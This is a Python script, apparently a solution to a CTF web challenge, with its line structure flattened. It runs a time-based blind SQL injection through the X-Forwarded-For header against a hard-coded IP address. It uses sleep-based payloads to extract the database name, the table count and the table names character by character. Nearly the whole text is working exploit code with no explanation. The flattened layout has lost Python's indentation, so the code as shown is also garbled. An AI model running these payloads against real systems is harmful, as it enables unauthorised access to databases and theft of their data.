1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import requests
dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'
payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1"
payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(6) else 1 end)+'1"
payload_tb_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) = '{2}' then sleep(6) else 1 end)+'1"
payload_tb_name = "1'+(select case when (substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(6) else 1 end)+'1" url = 'http://123.206.87.240:8002/web15/'
db_name = ''
for i in range(1,6): for j in dic: try: headers = {'x-forwarded-for':payload_db.format(i,j)} res = requests.get(url,headers=headers,timeout=5) except requests.exceptions.ReadTimeout: print(payload_db.format(i,j)) db_name += j break print('db_name: ' + db_name)
tb_num = 0 for i in range(1,50): try: headers = {'x-forwarded-for':payload_tb_num.format(db_name,str(i))} res = requests.get(url,headers=headers,timeout=5) except requests.exceptions.ReadTimeout: tb_num = i print('tb_num: '+str(i)) break
len = 0 for i in range(tb_num): for j in range(50): try: headers = {'x-forwarded-for':payload_tb_name_len.format(db_name,i,j)} res = requests.get(url,headers=headers,timeout=5) except requests.exceptions.ReadTimeout: len = j break print('No.'+str(i+1)+' table has length: ' + str(len)) tb_name = '' for k in range(1,len + 1): for j in dic: try: headers = {'x-forwarded-for':payload_tb_name.format(db_name,i,k,j)} res = requests.get(url,headers=headers,timeout=5) except requests.exceptions.ReadTimeout: print(payload_tb_name.format(db_name,i,k,j)) tb_name += j break print(tb_name)
|